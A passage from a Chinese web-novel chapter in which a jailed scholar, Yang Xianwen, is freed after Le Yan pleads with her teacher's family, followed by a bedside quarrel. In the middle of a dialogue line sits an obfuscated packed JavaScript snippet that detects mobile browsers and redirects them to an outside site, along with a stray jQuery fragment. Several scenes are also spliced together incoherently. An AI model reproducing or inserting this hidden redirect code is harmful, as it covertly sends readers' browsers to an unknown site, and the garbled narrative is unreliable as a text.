“都什么时候了,你还睡得着?!”
森严压抑的牢房里,突然摔出一记炮仗响,将杨羡文昏沉入梦的脑袋给拉了回来。
“乐言?”
看见来人,他先是惊喜,又很快被一阵羞愧笼罩。
“你怎么来了?”杨羡文走到栏杆边蹲下,吞吞吐吐道,“你怎么…会知道我在这里?”
乐言道:“我怎么会不知道?你干的什么蠢事,全狸县的鸡都提早起来笑你!”
怎么想的?就带一把铜尺,连迷药也不备,傻不溜秋摸进刘宣房里,还被人捉个正着。
杨羡文自知理亏,灰溜溜垂下脑袋。脸上脏兮兮的,像刚出锅却不甚掉在地上滚了一圈的包子。
乐言看了哭笑不得:“你不是还想做官?公家饭就是这么吃的?”
乐言在被按着屁股涂药时问他:“秀才,你以后想做官吗?”
那时杨羡文用手指挖了点药膏,道:“可能吧,若能考上,还是想的。”
乐言心想,你还是别走仕途了,这种性子去了,说不定死都不知道怎么死的。
“听我一句劝,别去了。”乐言掐指,“替你算了一卦,若往后真做官,会有血光之灾。你呢,适合当个少爷,吃吃茶听听曲,享一辈子福。”
杨羡文笑笑:“不会吧,我不会生事的。”
还不会生事呢,还老实本分呢,毛都没长齐就敢学她干坏事。乐言掏出帕子,冲他喊着:“过来!脸上脏死了!”
杨羡文默默挪近两步。
还未碰上,视线先被他湿淋淋的发梢夺去,一摸衣服,更是能拧出水来。
她还以为杨羡文特地换了身深色的衣服去行凶,敢情是被水泼的啊?
乐言拔高音量,诧异道:“尤魁,你疯了?他是秀才,你们敢用刑?”
“谁敢啊?是他翻的那屋。”尤魁把嘴里的草一吐,“说是之前被人进过,特地在窗子上头挂了桶水。哈哈,我们杨秀才是撞大运了。”
尤魁腰间那串钥匙又开始乱响。
杨羡文简直没脸见人,烧得身上的水都快沸了。
乐言又气又笑,扯过人擦脸:“这会儿觉得丢脸了,干之前怎么不想想?别臊了,出去再说。身上有银子吗?一两?罢了,你还是给十两吧,多花点钱去去霉运。”
提起这个,杨羡文突然来了精神,抬起眼摇摇头:“不要。这个我干之前想到了,若真被抓就坐两天牢,这是我该受的惩罚。”
什么逻辑?真被抓就甘愿受罚,没被抓就窝在被窝窃喜是不是?
乐言把帕子扔到他脸上,骂道:“你是不是有病!”
杨羡文抿抿唇:“我坐完牢,刘宣气消了,我们就互不相欠了。然后…”
乐言瞪成大小眼:“然后什么?”
然后他就能再去一次,看能不能在不被抓住的情况下扇刘宣一巴掌。
秀才变成哑巴,乐言气极:“我真是吃饱了撑的,好好的觉不睡大半夜起来闯鬼!随你便!你爱坐几天牢就坐几天牢,你就是想以死谢罪都跟我没关系!”
乐言骂骂咧咧走开,想起杨羡文瑟瑟发抖的身躯又停下脚步。她闭上眼重重呼一口气,再次转身回去。
“你个大笨蛋!”她骂着,一拳穿过栏杆打在杨羡文面中,一脚跨出牢房踢进刘家卧房,“王响春!刘继源!出大事了,你们俩怎么还睡得着啊!”
王响春还没来得及睁眼惊呼,枕边便重重摔进一个人头。
刘继源摔下床破口大骂:“大半夜不睡觉搞什么名堂?!”
王响春冲刘继源比手势,叫他点上蜡烛,而后坐起身子:“乐言,出什么事了?怎如此慌慌张张?”
刘继源方才被吓得脑子一片空白,眼下烛火一亮才回过神来,他冷哼一声:“我那两坛酒,是不是你捣的鬼!我不去捉你,你倒有脸自己送上门来!整日疯疯癫癫没个人样,我看你迟早要再吃顿牢饭!”
只说刘继源看见那坛仅剩的、却稀巴烂的沐雨酿,一瞬脸黑成锅底。他额角要跳不跳,抬手屏退那个发现惨案瑟瑟发抖的下人。
门一关,酒香味更为浓郁。
刘继源的胡子颤了颤,而后朝酒坛子走了两步,蹲下,拾起坛底。
还剩一点,晃一晃,能起涟漪。
他挣扎许久,最后还是送进嘴里。
喝完,抿嘴回味,又觉得此举实在太丢面,遂扔开,大步离去。
乐言仍在躺尸:“你有证据么?说不定是你的好阿宣干的,想挑拨你我二人之间的感情呢。”
“还有心思贫嘴!”王响春摇她,焦急道,“到底出什么事了?”
乐言睁开眼,一瞬换上哭哭啼啼的面孔:“师娘,你要帮我,我姘头被刘宣送去吃牢饭了!你们赶紧让刘宣去说一声,就说是误会,把我姘头放出来。”
刘继源又哼一声:“有事相求便找上门来了,平日连报房都…”
乐言:“我去我去,报房我去!”
这话,与王响春答应要给乐言喝沐雨酿没什么区别。
刘继源神情稍缓,瞟她一眼,背过手去:“什么误会能让他坐牢?到底出什么事了?”
乐言道:“今日我打了刘宣,我姘头想给他赔礼道歉来着。可他脸皮薄,不愿当面给,便想溜进刘宣家里偷偷送礼,谁曾想被刘宣那个不识好歹的当成是贼!”
刘继源拧眉怒斥道:“你说这话,你自己信不信!你还不如说他去赏月!”
王响春倒笑了出来:“想不到啊,看着文文弱弱的,竟敢干这种事。”
“我不管我不管!”乐言扭着屁股乱拱,开始耍无赖,“我姘头那么柔弱,要是死在牢里了怎么办!他人傻有钱,还要做大官,这么好一个金龟婿,你们上哪儿找去?眼下被你的好侄子送进牢里,你看他往后还会孝敬你俩么!”
闻此,二人对视一眼。
王响春想说:她今日问了,他家的确很有钱。
刘继源想说:他是个秀才,兴许真能做官。
对视完,二人默契地点一点头。
尤魁也点点头:“对,没弄错,就是你,快出来吧。”
杨羡文纳闷:“可是为什么?刘宣怎么突然就放过我了?”明明擒他的时候像个地狱判官,说要弄死他来着。
“能出来不就好了?”尤魁笑了声,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087632|179469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秀才,你若真想求个心安,就出点银子,我可一直在这儿啊。”
如此,杨羡文脑袋顶着一头雾水,脚下一踩一个水印,似个刚上岸的水鬼般挪出牢房。
一出门,四双站成一排的眼睛直勾勾射过来。
王响春和刘继源站在中间,目光多有慈爱关怀。二人左侧立着面目狰狞的地狱判官,右侧则蹲着个女鬼。
女鬼眼神幽怨至极,一见到他,“咻”地站起身来。她扯过杨羡文的膀子直接把人甩回家,又一把将他推进澡盆子,语气极其不善:“还不赶紧去洗!是想冻死上报是不是?”
待收拾干净,杨羡文默默踱回房。见乐言抱臂坐在床沿上,他便也轻手轻脚走过去与她并排坐着。
坐下后一时无语,道歉的话不知从何说起。他动了动唇,又动了动屁股,离她更近。
“乐言…”
乐言咬牙切齿扭过头:“你笨不笨?”
杨羡文点点头:“笨。”
请问她还能回什么?
乐言怄了三丈火,她把人推到床上,自己也钻进被窝,骂道:“赶紧睡觉,什么时辰了都,还不睡觉等死啊?”
“我错了,乐言。”杨羡文从身后环上她,“你别生气了。”
“你去找刘宣,是打算干什么?”
“想扇他一巴掌…”
乐言气笑:“你想扇他,为什么不光明正大去扇?扇完再赔点银子,还用得着坐牢?”
“他若知道是我扇,定会从你身上找不痛快,我不想牵扯上你。”
“哦,那你现在是牵扯了还是没牵扯?”
杨羡文晓得乐言为了让他出狱,定在刘宣那边说了许多好话,心里更是愧疚:“对不起…”
乐言没好气地问:“你就不能雇人扇?”
“那哪有我亲手扇的解气…”
乐言抓狂,她绷脚朝被窝踹了好几下才歇停:“闭嘴!睡觉!”
杨羡文识趣闭嘴了,乐言还不想,一双眼睛瞪得比炭火还亮。
她一直在回避一个问题,即,“你为什么要去找刘宣”。
郝正一说刘宣,乐言便知道,这个蠢秀才是为了她。
她不喜欢,不喜欢有人为了她做什么事。可真有人做了,她一颗心又被拉成长条搓成麻花,在胸腔里扭啊扭啊,扭得她浑身难受,仿佛置身油锅。
临睡前,她到底问出口了:“你为什么要去找刘宣?”
她想听见什么答案呢?是“乐言,因为他骂了你”,还是“乐言,因为我不想你受委屈”。
乐言自己也不知道。
没人回答乐言,或许是因为她嘴皮子太快:“我想干的事我自己会干,你掺合一脚进来还要我替你擦屁股。”
或许是因为她嘴巴太毒:“弄得人不像人鬼不像鬼,你在自我感动个什么劲呢我问你?”
乐言越说越火大,鼻子突突直冒热气:“怎么会这么热!刘宣那个王八蛋来放火了是不是!”
她欲下床把炭盆扔出去,可刚一碰上腰间的手,便立马惊呼:“死秀才?”
乐言忙去探他的额头。
“谁把锅炉放这儿了?!”